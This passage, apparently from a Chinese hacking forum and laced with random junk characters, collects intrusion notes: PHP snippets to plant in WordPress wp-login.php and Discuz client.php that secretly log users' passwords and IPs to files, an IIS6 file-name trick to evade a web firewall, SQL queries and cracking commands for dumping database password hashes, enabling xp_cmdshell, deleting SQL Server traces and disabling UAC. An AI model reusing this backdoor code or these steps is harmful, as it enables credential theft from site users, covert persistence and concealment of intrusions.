4 c  F# m0 B/ C) ~$log_pwd=$_POST['pwd'];" o  O( m6 r' [: V4 Z$ j
$log_ip=$_SERVER["REMOTE_ADDR"];
! c& g8 V" I1 q6 ^9 `, Z; W$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;1 h  q) H. ?& C, m6 |7 j% ]# s
$txt=$txt.”\r\n”;- F9 H1 a1 R0 m
if($log_user&&$log_pwd&&$log_ip){
2 X, ~0 N4 u6 L, V8 j@fwrite(fopen(‘pwd.txt’,”a+”),$txt);: |' j0 p; z! }9 d
}. K" e& L3 |, e% C% D  E/ n- B) S. p
当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。9 q! S7 d3 V% t) L% ]1 Y
就是搜索case ‘login’
5 A4 r, T7 C7 a" M# i# X% E! B在它下面直接插入即可,记录的密码生成在pwd.txt中,
* c1 c& H; P+ O1 G. v& r其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录9 O  E, r  `# m' K* b
利用II6文件解析漏洞绕过安全狗代码:
) ^# }4 g% L, v# \;antian365.asp;antian365.jpg
- A! e& D& n2 E5 I& g1 L& z; O2 O  ]" Y+ q& K9 f/ H. O0 J
各种类型数据库抓HASH破解最高权限密码!" j: v8 m7 {  Z4 b: e
1.sql server2000
) W# P" f3 z1 F2 DSELECT password from master.dbo.sysxlogins where name='sa': [8 x) g2 `7 G0 V% j" t, ^0 Y6 B
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED2503410 h9 F2 s5 I. S7 [; g
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
/ P. @) U) G" v( I/ S
8 r0 G/ ?, F, s0×0100- constant header4 E8 }' R! a) f: R! @  P" j& I4 L
34767D5C- salt
9 v0 |4 w  ?0 f/ W2 p0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
$ v7 f) J" t1 {$ M4 ^7 f  @2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash+ H) x  p3 n8 w+ c. ?
crack the upper case hash in ‘cain and abel’ and then work the case sentive hash# ]9 M9 L+ p0 \) t$ @) ?$ c
SQL server 2005:-0 x8 ~. i0 ^: X% V
SELECT password_hash FROM sys.sql_logins where name='sa'
1 n0 y$ a7 ?# m6 R5 w' Q0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F) L; j, j1 Z3 e& @% Q& i" J7 C* V
0×0100- constant header6 D) u. T9 r/ e8 i  i0 P
993BF231-salt
, h* Q% i: m1 g9 r7 t5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
5 _  |) k; q  ~) B) Q. _& P3 Q/ t; c5 ocrack case sensitive hash in cain, try brute force and dictionary based attacks.4 E; }' I4 V7 {) {$ R
! g, j" K4 x( r" v1 f8 f* @; o
update:- following bernardo’s comments:-: P, t2 W6 T' R
use function fn_varbintohexstr() to cast password in a hex string.
$ C- P( E+ y. n; i3 q' t% j1 x. ze.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins
) \* J# u% n5 N; b# U: t+ g. q  v2 X* C# ^+ e" `
MYSQL:-8 h9 K9 a6 S* {0 @

0 y' I: f' W# X2 k4 S7 a: gIn MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.
6 ?8 U$ Q; B0 h9 s2 J( ^. A" @
9 k( _% Y3 J: t) m4 n) r*mysql  < 4.1" o6 ^) g: l, ~7 w2 @' K# o! q

$ q$ X+ i# @8 t1 Y. a3 Omysql> SELECT PASSWORD(‘mypass’);
- S$ \" i8 I9 L3 {" G! E2 r  R% S+——————–+
# [! s/ c8 i2 h0 G/ e0 A| PASSWORD(‘mypass’) |
6 K' j: R6 u/ S+ m% K+——————–++ a+ V9 {2 _+ d
| 6f8c114b58f2ce9e   |
1 D7 O8 Z5 a/ y* C+ \  _+——————–+- [; {* f  t6 Z! T3 G3 E, p

' I' g5 ^: f4 `*mysql >=4.1
% y3 g- p; H! v7 ~0 g- h' @2 l3 L3 A
mysql> SELECT PASSWORD(‘mypass’);8 v& l, r5 \* L8 k* w
+——————————————-+& d9 ^" f4 u4 U: g" t
| PASSWORD(‘mypass’)                        |. t  i9 `9 U5 Y
+——————————————-+" w4 f* d) n6 q( r
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
3 D+ A1 ^- p! V* W/ a+——————————————-+4 i8 e: V0 c3 q9 p, d
) H  n/ e0 @9 f" A/ S
Select user, password from mysql.user
3 _+ Q% O% P  B# h2 g3 ~# C: fThe hashes can be cracked in ‘cain and abel’
3 r( ~' l5 m$ ]: q; w) q, D8 X
/ v$ H  |; P" P3 O  xPostgres:-. }( }( O( O9 Z, ~3 y  i& x( Q( m
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table.  You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)# z! v& e5 p1 ~4 c( F
select usename, passwd from pg_shadow;
' S/ x8 x$ Y9 F" [9 wusename      |  passwd
" f: Q% H( H5 ?6 P% v  V) D——————+————————————-
  _4 D0 g3 {5 A1 X; R' ktestuser            | md5fabb6d7172aadfda4753bf0507ed4396
# a5 {7 }  {2 x0 n' d: M% c6 Q* quse mdcrack to crack these hashes:-
& n( C& L+ g+ D' t) c0 A% T$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396- P0 I4 B7 p8 \! v

+ }) M, k1 {4 x& b1 b6 q6 tOracle:-
9 o0 ?# \$ E: s3 ?6 O* |select name, password, spare4 from sys.user$/ W& S0 ^+ t! W* P. \; W
hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g2 b9 ^; a/ L! _
More on Oracle later, i am a bit bored….8 `6 |% V  _3 M, b: l6 x

* r- o3 |. w+ t/ h
) }0 D) {& v+ v1 }+ ~: W在sql server2005/2008中开启xp_cmdshell( l! C7 r2 S! R- S8 u% i: X
-- To allow advanced options to be changed.2 K, q7 i) s! i9 Z, ?6 y' F2 m
EXEC sp_configure 'show advanced options', 1
; v2 b  S& v$ r. n* H" VGO5 X% `: t# p5 F: w
-- To update the currently configured value for advanced options.2 b  G" |, f+ g( B
RECONFIGURE
/ N5 _) W- M/ J8 }6 x. |GO
* S& N  w+ \% O1 t. W5 H* @-- To enable the feature.: O0 _' h6 V1 ~' y( ^- P; T! s1 r
EXEC sp_configure 'xp_cmdshell', 1
# m( |" B: B) r2 DGO
. f" |2 N, l: R: z-- To update the currently configured value for this feature.6 V9 ~! A8 _1 `( }$ B: n
RECONFIGURE
3 a" J# z% X9 k4 y4 S1 aGO
; B9 [1 i  R4 x% ]$ sSQL 2008 server日志清除,在清楚前一定要备份。8 d4 Y0 L3 o; J
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
6 z& x+ D' l4 L4 k/ GX:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
3 b7 y/ P8 r. b' E0 s! @, L/ ^' v1 H1 [
对于SQL Server 2008以前的版本:* R6 X" F# w1 ^$ Q* V; I& T2 U
SQL Server 2005:
1 T/ ^' _. @3 Q+ I7 T) ]删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
! N9 u+ ~1 g( A3 y7 V8 L9 J3 xSQL Server 2000:" `- W4 ~* ?* `+ f
清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft  SQL  Server\80\Tools\Client\PrefServers\相应的内容即可。
' h" V! f* m( m0 H) A
# B9 k/ L: `: Z4 z, O$ t8 U本帖最后由 simeon 于 2013-1-3 09:51 编辑& B. I- t" \, P  ~1 r

# f, F; g8 Y  i9 a3 \4 Q
3 q( r" N3 O7 Y7 \6 B+ U5 X: `windows 2008 文件权限修改8 U/ h9 p$ L$ x
1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx
* w' d6 [+ \3 T4 Z/ d; z2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98$ O3 h) U) H2 B: ?5 c! n
一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,
2 g8 c  w" x* S' S0 p  C; d  {" q/ F: p" r0 U$ q: I
Windows Registry Editor Version 5.00
; l" U, Z" R/ F$ C[HKEY_CLASSES_ROOT\*\shell\runas]
$ d; J& }0 W& p; p  q@="管理员取得所有权". ^3 c5 Z# |3 o/ }
"NoWorkingDirectory"=""6 L- M' e3 O% k; U
[HKEY_CLASSES_ROOT\*\shell\runas\command]$ M- p+ n) m/ j& Q
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"& e# n! h1 K/ T  V4 R& S( P. s
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"; X4 A! _. q3 z
[HKEY_CLASSES_ROOT\exefile\shell\runas2]. V4 X2 u& P# m  M, b
@="管理员取得所有权"& J. v8 g2 ^% Q& |0 O
"NoWorkingDirectory"=""
1 s, d# F5 _# P1 f9 J. ~' k[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]3 _3 q  v" u( \6 C$ q8 ]
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"" b# N" ^. U! [2 E7 ]2 X8 ?
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
# \1 E) m, M  \6 r8 |! b4 L1 Z# n0 G  a
[HKEY_CLASSES_ROOT\Directory\shell\runas]0 n% J+ D0 `% I2 ?2 N; f$ ~
@="管理员取得所有权"9 @0 ~# @1 i3 s# O
"NoWorkingDirectory"=""+ a. A7 g& K* v9 T+ V* N! [  u1 P
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
5 \3 H- ~  S- G" y& Z3 U% D: ?@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"- A2 Q. S0 G. {2 h- y
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"1 L* o2 b( i' J! _8 }1 ^% @
+ s+ @# C" q) a" s- a
7 ~# v# v3 X) G4 h3 ]
win7右键“管理员取得所有权”.reg导入
# f. v: H: q+ k二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,0 I- \7 I9 G9 \, E1 }8 ^
1、C:\Windows这个路径的“notepad.exe”不需要替换
3 h8 g8 G$ U4 P9 R. s2、C:\Windows\System32这个路径的“notepad.exe”不需要替换( _4 ^* ?6 b* {! M1 ?% k9 S% S
3、四个“notepad.exe.mui”不要管
) T( p, \6 @' M% ?6 h4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和1 @5 T' h4 g; F+ X8 U5 c; X, ?
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”' K' y6 ?! c6 G" \8 j
替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,$ h( J' p( @7 i9 X
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。; ]3 y/ Q9 }- ~' S; b4 S$ t/ C
windows 2008中关闭安全策略:
" C% _/ ^5 k7 M0 c& xreg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f9 n; b  ~- N) n
修改uc_client目录下的client.php 在
, A# w0 @7 k+ m* x" Hfunction uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {+ ?( O: R3 _  r# A- i5 G4 i% _
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
, C/ r* ?2 V$ z. r. \6 I8 I; n你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw6 I: Q% ^6 N8 X
if(getenv('HTTP_CLIENT_IP')) {- l2 O; B1 m. v" _5 b% O6 W
$onlineip = getenv('HTTP_CLIENT_IP');' ~) _; M( G# j7 c
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
6 _8 i8 J' G% b. A  }+ f9 e$onlineip = getenv('HTTP_X_FORWARDED_FOR');; A  M. X( H" `
} elseif(getenv('REMOTE_ADDR')) {
* x3 j8 u) L6 k% S' L' @. V$onlineip = getenv('REMOTE_ADDR');
  C- k  }% y7 Q' K} else {
6 V1 d1 O% Z$ m( g1 N, q$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
3 L% [. M. @. P# j$ f" z}
% v% ~  ]% u: }. b( r: Y     $showtime=date("Y-m-d H:i:s");) m: D, L$ H* ?" U
    $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";  \, A* V% N/ v
    $handle=fopen('./data/cache/csslog.php','a+');, O) ^) J8 H" X2 P# m
    $write=fwrite($handle,$record);
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表